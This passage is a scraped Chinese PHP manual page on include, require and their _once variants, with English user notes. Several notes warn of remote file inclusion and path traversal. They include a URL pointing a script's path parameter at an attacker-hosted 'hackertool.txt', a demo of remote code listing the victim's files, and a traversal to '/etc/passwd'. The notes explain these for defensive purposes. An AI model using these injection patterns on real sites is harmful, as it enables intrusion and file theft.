I have found a problem when I try to access a php file via require($class_directory)

// # $class_directory contain a long full path and dot into the last folder.
// # $class_directory = "/var/.../app/system/plugintoto_1.0/class_plugintoto_1.0.php";

// dot ('.') and minus ('-') are not accepted in require !
tjeerd
11-May-2006 09:41
When using symbolic links with PHP, specify a dotslash './page.php' path to ensure that PHP is looking in the right directory with nested requires:

E.g. when the required actual page1.php contains other require statements to, say page2.php, PHP will search the path that the symbolic link points to, instead of the path where the symbolic link lives. To let PHP find the other page2.php in the path of the symbolic link, a require('./page2.php'); statement will solve the puzzle.
webmaster at netgeekz dot net
25-Feb-2006 01:34
I have learnt to manipulate this code into an effecitve and easy to use form. I use it with require_once, but it could be used for require.

require_once($_SERVER['DOCUMENT_ROOT'].'/includes/top.php');

This mainly jumps back to the servers document root and then begins to enter the directories defined until it finds the file. In this case it would go back to the root of the server, or whatever your document root is, and then enter includes. there it would search for the top.php file. Simple to use, yet effective...espcially for people like me who re-use code or move files to different directories. I don't have to fix the includes, because they all work the same way.
steve at walkerfx dot com
25-Feb-2006 07:24
WARNING: Be absolutely sure that your include paths are relative or directory based and not http!!!

   require("http://www.mydomain.com/somefile.php"); //WRONG!!
   require("usr/mydomain/somefile.php"); //CORRECT!!

If you are intending to access local files and you accidentally use an http address, the request will probably work. However, this creates a wierd situation that can cause all sorts of bugs in your scripts and slow your code down.

The problem is that the include spawns off another php request, and is essentially requesting the file in the same a way a remote viewer would. So rather than including the intended php code, instead you get the processed output from that single file executed in its own private scope.

It's a simple mistake, but it can be an awful problem to debug.

Walker
dave at davidhbrown dot us
23-Jan-2006 04:08
re: danielm at unb dot br...

$_SERVER['DOCUMENT_ROOT'] is very useful, but it is not available with all web servers. Apache has it; IIS doesn't.

I use the following to make my PHP applications work in more situations:
<?php
if (!defined("BASE_PATH")) define('BASE_PATH', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : substr($_SERVER['PATH_TRANSLATED'],0, -1*strlen($_SERVER['SCRIPT_NAME'])));
?>

...but even that gets tripped up by symlinks to different mount points, etc. You could substitute realpath($_SERVER['PATH_TRANSLATED']), but that function has been reported not to work on some (Windows) servers. One could use the PATH_TRANSLATED for both servers, but I figure if Apache is going to tell me exactly what I want to know, I should listen.
tuxedobob at mac dot com
07-Jul-2005 02:54
Something which may not be immediately obvious is that if you use double quotes on the filename, you can use variables to specify the filename, allowing you to do something like this:

<?php
$query = "SELECT filename FROM updates WHERE version>$current ORDER BY version";
$updateresult = mysql_query($query) or exit($query.'<br />'.mysql_error());
while ($updaterow = mysql_fetch_row($updateresult)) {
   require "$updaterow[0]";
}
?>

Drop this in a script on a server and you can push updates to your clients. Obviously, make sure you only run scripts you want to.
Marc
07-May-2005 01:42
This will sound elementary, but for C++ native programmers, be sure NOT to put a '#' in front of your include statements! The parser will not give you an error, but also will not include the file, making for a tedious debugging process.

In short, USE:
<?php
     include "yourfile.php";
?>

and DON'T use:
<?php
     #include "yourfile.php";
?>
richardbrenner(-at- )gmx(-)at
08-Apr-2005 04:58
If you use relativ paths in a php script (file A) that can be required by another php script (file B), be aware that the relativ paths in file A will be relativ to the directory, where file B is stored.
You can use the following syntax in file A, to be sure that the paths are relativ to the directory of file A:

<?
require(dirname(__FILE__)."/path/relative/file_to_include.php");
?>

Greetings,
Richard
11-Feb-2005 02:29
Note when calling any require or include function, that the call will block if the script given as the parameter is excecuting.
Because of this one should be careful when using blocking functions like sleep() in a script which is included by another.
danielm at unb dot br
22-Nov-2004 03:50
if you want to include files with an absolut path reference, you can use:

require ($_SERVER["DOCUMENT_ROOT"]."/path/to/file.php");

this way you can organize your files in subdirectories trees.
add a note add a note

后退 | 起点 | 前进
return | 上一级 | include()


include

PHP 手册
后退 章 16. 流程控制 前进

include()

include() 语句包含并运行指定文件。

以下文档也适用于 require()。这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样，脚本会继续运行。同时也要确认设置了合适的 include_path。注意在 PHP 4.3.5 之前，包含文件中的语法错误不会导致程序停止，但从此版本之后会。

寻找包含文件的顺序先是在当前工作目录的相对的 include_path 下寻找，然后是当前运行脚本所在目录相对的 include_path 下寻找。例如 include_path 是 .，当前工作目录是 /www/，脚本中要 include 一个 include/a.php 并且在该文件中有一句 include "b.php"，则寻找 b.php 的顺序先是 /www/，然后是 /www/include/。如果文件名以 ../ 开始，则只在当前工作目录相对的 include_path 下寻找。

当一个文件被包含时，其中所包含的代码继承了 include 所在行的变量范围。从该处开始，调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

例子 16-5. 基本的 include() 例子

vars.php
<?php

$color = 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

如果 include 出现于调用文件中的一个函数里，则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。

例子 16-6. 函数中的包含

<?php

function foo()
{
    global $color;

    include 'vars.php';

    echo "A $color $fruit";
}

/* vars.php is in the scope of foo() so     *
* $fruit is NOT available outside of this  *
* scope.  $color is because we declared it *
* as global.                               */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

当一个文件被包含时，语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式，到文件结尾处恢复。由于此原因，目标文件中应被当作 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。

如果“URL fopen wrappers”在 PHP 中被激活（默认配置），可以用 URL（通过 HTTP 或者其它支持的封装协议――所支持的协议见附录 L）而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释，则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事；该脚本文件实际上已经在远程服务器上运行了，而本地脚本则包括了其结果。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

例子 16-7. 通过 HTTP 进行的 include()

<?php

/* This example assumes that www.example.com is configured to parse .php *
* files and not .txt files. Also, 'Works' here means that the variables *
* $foo and $bar are available within the included file.                 */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo = 1;
$bar = 2;
include 'file.txt';  // Works.
include 'file.php';  // Works.

?>

安全警告

远程文件可能会经远程服务器处理（根据文件后缀以及远程服务器是否在运行 PHP 而定），但必须产生出一个合法的 PHP 脚本，因为其将被本地服务器处理。如果来自远程服务器的文件应该在远端运行而只输出结果，那用 readfile() 函数更好。另外还要格外小心以确保远程的脚本产生出合法并且是所需的代码。

相关信息参见使用远程文件，fopen() 和 file()。

因为 include() 和 require() 是特殊的语言结构，在条件语句中使用必须将其放在语句组中（花括号中）。

例子 16-8. include() 与条件语句组

<?php

// This is WRONG and will not work as desired.
if ($condition)
    include $file;
else
    include $other;

// This is CORRECT.
if ($condition) {
    include $file;
} else {
    include $other;
}

?>

处理返回值：可以在被包括的文件中使用 return() 语句来终止该文件中程序的执行并返回调用它的脚本。同样也可以从被包含的文件中返回值。可以像普通函数一样获得 include 调用的返回值。不过这在包含远程文件时却不行，除非远程文件的输出具有合法的 PHP 开始和结束标记（如同任何本地文件一样）。可以在标记内定义所需的变量，该变量在文件被包含的位置之后就可用了。

因为 include() 是一个特殊的语言结构，其参数不需要括号。在比较其返回值时要注意。

例子 16-9. 比较 include 的返回值

<?php
// won't work, evaluated as include(('vars.php') == 'OK'), i.e. include('')
if (include('vars.php') == 'OK') {
    echo 'OK';
}

// works
if ((include 'vars.php') == 'OK') {
    echo 'OK';
}
?>

注: 在 PHP 3 中，除非是在函数中调用否则被包含的文件中不能出现 return。在此情况下 return() 作用于该函数而不是整个文件。

例子 16-10. include() 和 return() 语句

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // prints 'PHP'

$bar = include 'noreturn.php';

echo $bar; // prints 1

?>

$bar 的值为 1 是因为 include 成功运行了。注意以上例子中的区别。第一个在被包含的文件中用了 return() 而另一个没有。如果文件不能被包含，则返回 FALSE 并发出一个 E_WARNING 警告。

如果在包含文件中定义有函数，这些函数可以独立于是否在 return() 之前还是之后在主文件中使用。如果文件被包含两次，PHP 5 发出致命错误因为函数已经被定义，但是 PHP 在 return() 之后不会抱怨函数已定义。推荐使用 include_once() 而不是检查文件是否已包含并在包含文件中有条件返回。

另一个将 PHP 文件“包含”到一个变量中的方法是用输出控制函数结合 include() 来捕获其输出，例如：

例子 16-11. 使用输出缓冲来将 PHP 文件包含入一个字符串

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
    if (is_file($filename)) {
        ob_start();
        include $filename;
        $contents = ob_get_contents();
        ob_end_clean();
        return $contents;
    }
    return false;
}

?>

要在脚本中自动包含文件，参见 php.ini 中的 auto_prepend_file 和 auto_append_file 配置选项。

注: 由于这是一个语言结构而非函数，因此它无法被变量函数调用。

参见 require()，require_once()，include_once()，readfile()，virtual() 和 include_path。

add a note add a note User Contributed Notes
medhefgo at googlemail dot com
27-May-2006 07:50
Because there is no quick way to check if a file is in include_path, I've made this function:

<?php

function is_includeable($filename, $returnpaths = false) {
   $include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));

   foreach ($include_paths as $path) {
       $include = $path.DIRECTORY_SEPARATOR.$filename;
       if (is_file($include) && is_readable($include)) {
           if ($returnpaths == true) {
               $includable_paths[] = $path;
           } else {
               return true;
           }
       }
   }

   return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}

?>
NOdasnipaSPAM
20-May-2006 05:40
at spam guard dot gmail com

to php dot net at reinsveien dot com:

if you know the domain the file should be coming from then you can parse the variable for the domain and make sure that it matches the domain you expect, example:

<?php
$path="/full/path/to/script/";
if (getdomain($path) == 'yourdomain'){
     include($path.'somefile.php');
}
?>

this should prevent remote execution of any malicious script
php dot net at reinsveien dot com
17-May-2006 08:02
In comment to durkboek A_T hotmail D_O_T com:

Even more serious, what if you have:
<?php
$path="/full/path/to/script/";
include($path.'somefile.php');
?>

Then, if register_globals=off, a hacker can call this URL:
http://mysite.com/script.php?path=http://site.com/hackertool.txt ,
causing the PHP-content of hackertool.txt to be parsed on mysite.com!

I wouldn't expect this to work, but it seems it do! :(
lholst+phpnet at students dot cs dot uu dot nl
09-May-2006 03:15
What cavarlier refers to is that on some editors, UTF-8 files are prefixed with a BOM (Byte Order Mark), an invisible marker three bytes in size, which are output by PHP if it encouters them (which is before the <?php on the first line). Notepad is particularly notorious creating these.

However, any decent editor (e.g. Notepad2) can save UTF-8 files without BOM, and if you do that the first <?php tag will truly be on the first character of the file.

So this does not mean that UTF-8 cannot be used by PHP.
cavarlier [at] hotmail [dot] com
23-Apr-2006 03:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
arnold at bean-it dot nl
25-Feb-2006 06:15
Currently there is no clean way to check if a file can be included. Simply including a file which can't be opened causes a warning to be triggered. Suppressing include() with an @ (as often seen below) is not advisable, since parse errors won't be displayed, but will cause the script to die, causing a blank screen. (Happy debugging, hope you're using ZendStudio or some other debugger).

The best solution I've come up with is:
<?php
   if (($fp = @fopen($filename, 'r', 1)) and fclose($fp)) include $filename;
?>

I believe the functions file_exists(), filesize(), is_readable() and is_writable() should have an use_include_path just like fopen().
If you agree with this, please PLEASE VOTE on bug #6932 (http://bugs.php.net/bug.php?id=6932). This bug has been open for over 5 years. Apparently no one is willing to add this feature.
Stephen Lee
19-Jan-2006 08:36
@ajsharp at gmail dot com

To find out which script has included another, use the Server Variable 'SCRIPT_NAME' (note: there are other server variables that also contain the script name, but I use this one simply because it works for me) e.g.

"variables.php"
<?php
$includer = basename($_SERVER['SCRIPT_NAME']);

switch ($includer) {
   case 'a.php':
   $this_variable = 'included by script a.php';
   break;

   case 'b.php':
   $this_variable = 'included by script b.php';
   break;

   default:
   $this_variable = 'included by unkown script';
}
echo $this_variable;
?>

Test with 3 different files "a.php", "b.php", "c.php", all with the same content:
<?php
include 'variables.php';
?>
stalker at ruun dot de
10-Jan-2006 08:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:

<?php
function includeRecurse($dirName) {
   if(!is_dir($dirName))
       return false;
   $dirHandle = opendir($dirName);
   while(false !== ($incFile = readdir($dirHandle))) {
       if($incFile != "."
           && $incFile != "..") {
           if(is_file("$dirName/$incFile"))
               include_once("$dirName/$incFile");
           elseif(is_dir("$dirName/$incFile"))
               includeRecurse("$dirName/$incFile");
       }
   }
   closedir($dirHandle);
}
?>
php at bucksvsbytes dot com
04-Oct-2005 03:31
The documentation should make it clearer that the include argument is not a site path (i.e. not relative to the document root or to any web server defined aliases), but rather a path on the host relative to the calling script's directory.
wamsleye at yahoo dot com
25-Aug-2005 05:21
I had been looking around on how to make sure that a file is included, I guess the way to do it changed with new version, here we go:

<?php
if ((include "header.php") == true) {
   echo ("header loaded");
}//end if
else{
   echo("header not loaded");
}//end else
?>

hope that helps!
Jesper Juhl
14-Aug-2005 11:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.

Like this.

includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');

/* rest of file */

?>

script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');

/* rest of file */

?>
ignacio esviza
20-Jul-2005 05:10
Hi, there...

I've use this in order to grab the output from an include() but without sending it to the buffer.

Headers are not sent neither.

<?php
function include2($file){

   $buffer = ob_get_contents();
   include $file;
   $output = substr(ob_get_contents(),strlen($buffer));
   ob_end_clean();

   ob_start();
   echo $buffer;

   return $output;

}
?>
Ethilien
19-Jul-2005 03:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:

<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi
04-Jul-2005 09:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:

 - src
  - web
  - bo
 - lib
 - test
 - whatever

as the include path's behaviour is somehow strange.

The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:

$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH  = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);

Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.

Just cross fingers you have permissions to change the server's include path.
17-May-2005 11:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.

e.g :

if(file_exists("includes/a.php"))
   include("includes/a.php")

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
php at REMOVEMEkennel17 dot co dot uk
03-May-2005 08:20
As stated above, when using return() to terminate execution of an included file, any functions defined in the file will still be defined in the global scope, even if the return() occurs before their definition.

It should be noted that class definitions behave in the same way.
morris.php <A T> it-solutions.org
28-Apr-2005 08:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.

This means the functions and (more importantly) classes included will NOT work.

for example:

include "http://MyServer.com/MyInclude.php";

would not give you access to any classes or functions within the MyInclude.php file.

to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi
14-Apr-2005 05:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.

So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.

<?php
function ChkInc($file){
   if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
   return true;
   }else{
   return false;
   }
}
?>

if someone else has a better solution, do post it...

Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.

//Gillis Danielsen
dragon at wastelands dot net
10-Dec-2004 08:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script.  E.g.

<? include("/different/root/script.php"); ?>

And this file contains:
<? echo __FILE__; ?>

The output is:
/different/root/script.php

Surprisingly useful :>  Obviously something like dirname(__FILE__) works just fine.
mattcimino at gardiners dot com
11-Aug-2004 08:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
durkboek A_T hotmail D_O_T com
03-Jun-2004 07:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
marco_ at voxpopuli-forum dot net
13-Apr-2004 12:27
In addition to the redeye at cs-aktuell dot de note:

to make pseudo-frame in total security

example: http://www.yourdomain.com/index.php?page=news

<?php

/* verify the validity of GET var page
if not set, do a default case        */
if(isset($HTTP_GET_VARS['page']))
{
 $p = $HTTP_GET_VARS['page'];
}
else
{
 $p = 'index';
}

switch($p)
{
 case 'index':
 require('welcome.php');
 break;

 case 'news':
 require('news.php');
 break;

 case 'what you want':
 require('the file you want');
 break;

 default:
 exit('Wrong parameter for file inclusion');
}

?>

marco_
moosh at php dot net
15-Jan-2004 11:03
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>

so "or" have prority on "include"
james at gogo dot co dot nz
10-Dec-2003 02:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
   return include(dirname(__FILE__) . '/2.php');
  }

  $z = "FOO\n";
  $z2 = &x($z);

  echo $z2;
  $z  = "NOO\n";

  echo $z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu
04-Dec-2003 05:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.

I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.

But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.

Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.

To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.

So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.

I hope this helps save someone else the hours it took me to figure out my problem!

David
php at mijav dot dk
19-Nov-2003 10:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
   // ignore the notice and evaluate the return value of the script, if any.
   if(@include(dirname(__FILE__)."/foo.php"))
     echo "foo.php included";
   else
     echo "failed to include foo.php";
redeye at cs-aktuell dot de
08-Feb-2003 09:29
As to the security risks of an include statement like:

<?php
  include($page);
?>

This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like

<?php
  if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
   include($page);
?>

wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )

To be sure only pages are called you want the user to call use something like this:

<?php
  $path = 'pages/';
  $extension = '.php';

  if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
   $filename = $path.$page.$extension;
   include($filename);
  }
?>

This will only make sure only files from the directory $path are called if they have the fileextension $extension.


require_once

PHP 手册
后退 章 16. 流程控制 前进

require_once()

require_once() 语句在脚本执行期间包含并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包含了，则不会再次包含。有关此语句怎样工作参见 require() 的文档。

require_once() 应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下，想确保它只被包含一次以避免函数重定义，变量重新赋值等问题。

使用 require_once() 和 include_once() 的例子见最新的 PHP 源程序发行包中的 PEAR 代码。

返回值和 include() 相同。如果文件已被包含，本函数返回 TRUE。

注: require_once() 是 PHP 4.0.1pl2 中新加入的。

注: 要注意 require_once() 和 include_once() 在大小写不敏感的操作系统中（例如 Windows）的行为可能不是所期望的。

例子 16-12. require_once() 在 Windows 下不区分大小写

<?php
require_once("a.php"); // this will include a.php
require_once("A.php"); // this will include a.php again on Windows!
?>
此行为在 PHP 5 中改了，路径先被规格化，因此 C:\PROGRA~1\A.php 和 C:\Program Files\a.php 的实现一样，文件只会被包含一次。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

参见 require()，include()，include_once()，get_required_files()，get_included_files()，readfile() 和 virtual()。

add a note add a note User Contributed Notes
antoine dot pouch at mcgill dot ca
10-Mar-2006 11:13
require_once (and include_once for that matters) is slow.
Furthermore, if you plan on using unit tests and mock objects (i.e. including mock classes before the real ones are included in the class you want to test), it will not work as require() loads a file and not a class.

To bypass that, and gain speed, I use :

<?php
class_exists('myClass') || require('path/to/myClass.class.php');
?>

I tried to time 100 require_once on the same file and it took the script 0.0026 seconds to run, whereas with my method it took only 0.00054 seconds. 4 times faster ! OK, my method of testing is quite empirical and YMMV but the bonus is the ability to use mock objects in your unit tests.
martijn(dot)lowrider(at)gmail(dot)com
25-Feb-2006 03:00
How to use Require_Once with error reporting to include a MySQL Connection file:

-------------------------------------------------------------------
$MySQLConnectFile = './inc/MySQL.Class.php';

if ( is_dir ( './inc/' ) )
{
   $IncIsDir == TRUE;
}

if ( file_exists ( $MySQLConnectFile ) )
{
   $MySQLFileExists == TRUE;
}

if ( $IncIsDir && $MySQLFileExists )
{
   require_once ( $MySQLConnectFile )
}
else
{
   echo '<b>Error:</b> <i>Could not read the MySQL Connection File. Please try again later.';
   exit();
}

----------------------------------------------------------------------
sdh00b at gmail dot com
05-Dec-2005 11:12
@georg_gruber at yahoo dot com

Files for including are first looked in include_path relative to the current working directory and then in include_path relative to the directory of current script. E.g. if your include_path is ., current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/ and then in /www/include/. If filename begins with ./ or ../, it is looked only in include_path relative to the current working directory.

Taken from http://us2.php.net/manual/en/function.include.php
georg_gruber at yahoo dot com
07-Oct-2005 06:06
A very interesting behaviour of require_once (and probably all include commands):

consider the following files:

/index.php -> require_once('/inc/library.php');
/function1.php -> print('/function1.php');
/inc/library.php -> require_once('function1.php');
/inc/function1.php -> print('/inc/function1.php');

Note that /function1.php and /inc/function1.php are files with the SAME filename in different folders.

If you "/index.php" is executed it will output
"/function1.php".

Although /index.php "includes" /inc/library.php the scope of the file is still /index.php therefor /function1.php will be found even it could be asumed the /inc/function1.php is the correct one.

And it gets more interesting: if you delete /function1.php and execute /index.php PHP checks this and "includes" /inc/function1.php.
miqrogroove
02-May-2005 02:10
require_once() is NOT independent of require().  Therefore, the following code will work as expected:

echo.php
<?php
echo "Hello";
?>

test.php
<?php
require('echo.php');
require_once('echo.php');
?>

test.php outputs: "Hello".

Enjoy,
-- Miqro
ulderico at maber dot com dot br
22-Mar-2005 09:38
With both of your functions guys, Pure-PHP and jtaal at eljakim dot nl, you'll not have any variables available GLOBALly if they're supposed to be globals...

That's why my import handles better those situation. OK, SOME MAY DISPUTE that using include_once and require_once may slow down an application. But what's the use to do IN PHP what the interpreter *should* do better for you. Thusly these workarounds shall, some time in the future, DIE.

Thus It's better to well design your application to keep some order using few INCLUDES and REQUIRES in it rather than insert MANY AND SEVERAL *_once around.
Pure-PHP
18-Mar-2005 06:19
require_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

require_once("includeWrapper.class.php")

includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class2.class.php")
jtaal at eljakim dot nl
10-Mar-2005 09:00
When you feel the need for a require_once_wildcard function, here's the solution:

<?php // /var/www/app/system/include.inc.php

function require_once_wildcard($wildcard, $__FILE__) {
  preg_match("/^(.+)\/[^\/]+$/", $__FILE__, $matches);
  $ls = `ls $matches[1]/$wildcard`;
  $ls = explode("\n", $ls);
  array_pop($ls); // remove empty line ls always prints
  foreach ($ls as $inc) {
   require_once($inc);
  }
}

?>

The $__FILE__ variable should be filled with the special PHP construct __FILE__:
<?php // /var/www/app/classes.inc.php

require_once('system/include.inc.php');
require_once_wildcard("classes/*.inc.php", __FILE__);

?>

The (*.inc.php) files inside the directory classes are automagically included using require_once_wildcard.

This solution may not be as useful when using PHP5 in combination with classes and the autoload feature.

--
Jaap Taal
thomas dot revell at uwe dot ac dot uk
21-Jan-2005 06:00
Regarding the case insensitivity problems on Windows, it looks to me as though it is a problem in PHP5 as well (at least in some cases).

The following gave me problems:

From file URLSwitcher.php
<?php
require_once 'slimError/slimError.php';
require_once 'Navigator_Cache.php';
....
?>

From file Navigator_Cache.php
<?php
require_once 'slimError/slimerror.php';
...
?>

From file slimerror.php
<?php
class SLIMError {
...
}
?>
The above setup gave me an error : "Cannot redeclare class SLIMError"

If I change the require_once in URLSwitcher.php to match the one in Navigator_Cache.php, there isn't a problem, but if I do this the other way round, the same problem occurs.
19-Mar-2004 01:49
> Mac OS X systems are also not case-sensitive.
That depends on the filesystem:
- HFS and HFS+ are NOT case sensitive.
- UFS is case sensitive.
jaisen - at - jmathai - dot - com
13-Mar-2004 04:16
NOTE: This function changed how it worked.  In PHP 3 this behaved very differently than it does on PHP 4.  Require used to include and parse the file regardless where the require line was positioned.

For example (PHP3):

<?php
  if(false){ require_once 'file_does_not_exist.php'; }
?>

That code throw a fatal exception even though it's in a conditional block which evaluates to false.  In PHP 4 the file is never included or parsed, so no exception is thrown.

For example (PHP4)
<?php
  if(false){ require_once '1_file_does_not_exists.php'; }
  require_once '2_file_does_not_exists.php';
?>

Stops execution of the script on trying to require the 2nd file...by bypasses the first require.

--JM


include_once

PHP 手册
后退 章 16. 流程控制 前进

include_once()

The include_once() 语句在脚本执行期间包含并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包含了，则不会再次包含。如同此语句名字暗示的那样，只会包含一次。

include_once() 应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下，想确保它只被包含一次以避免函数重定义，变量重新赋值等问题。

使用 require_once() 和 include_once() 的更多例子见最新的 PHP 源程序发行包中的 PEAR 代码。

返回值和 include() 相同。如果文件已被包含，本函数返回 TRUE。

注: include_once() 是 PHP 4.0.1pl2 中新加入的。

注: 要注意 include_once() 和 require_once() 在大小写不敏感的操作系统中（例如 Windows）的行为可能不是所期望的。

例子 16-13. include_once() 在 Windows 下不区分大小写

<?php
include_once("a.php"); // this will include a.php
include_once("A.php"); // this will include a.php again on Windows! (PHP 4 only)
?>
此行为在 PHP 5 中改了，路径先被规格化，因此 C:\PROGRA~1\A.php 和 C:\Program Files\a.php 的实现一样，文件只会被包含一次。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

参见 include()，require()，require_once()，get_required_files()，get_included_files()，readfile() 和 virtual()。

add a note add a note User Contributed Notes
29-Aug-2005 04:52
Dealing with function redefinitions

include_once and require_once are very useful if you have a library of common functions.  If you try to override with - that is define - an identically named local function however, PHP will halt noting that it cannot redeclare functions.  You can allow for this by bracketing (within the include file):
function myUsefulFunc($arg1, $arg2) {
     ... }

with

if (!function_exists('myUsefulFunc')) {
function myUsefulFunc($arg1, $arg2) {
     ... }}

Top level functions (ie. those not defined within other functions or dependent on code running) in the local file are always parsed first, so http://php.net/function_exists within the included/required file is safe - it doesn't matter where the include statements are in the local code.

Csaba Gabor from Vienna
flobee at gmail dot com
26-May-2005 10:55
i already had a discussion with several people about "not shown errors"
error reporting and all others in php.ini set to: "show errors" to find problems:
the answer i finally found:
if you have an "@include..." instead of "include..." or "require..('somthing') in any place in your code
all following errors are not shown too!!!

so, this is actually a bad idea when developing because paser errors will be droped too:
<?php
if(!@include_once('./somthing') ) {
   echo 'can not include';
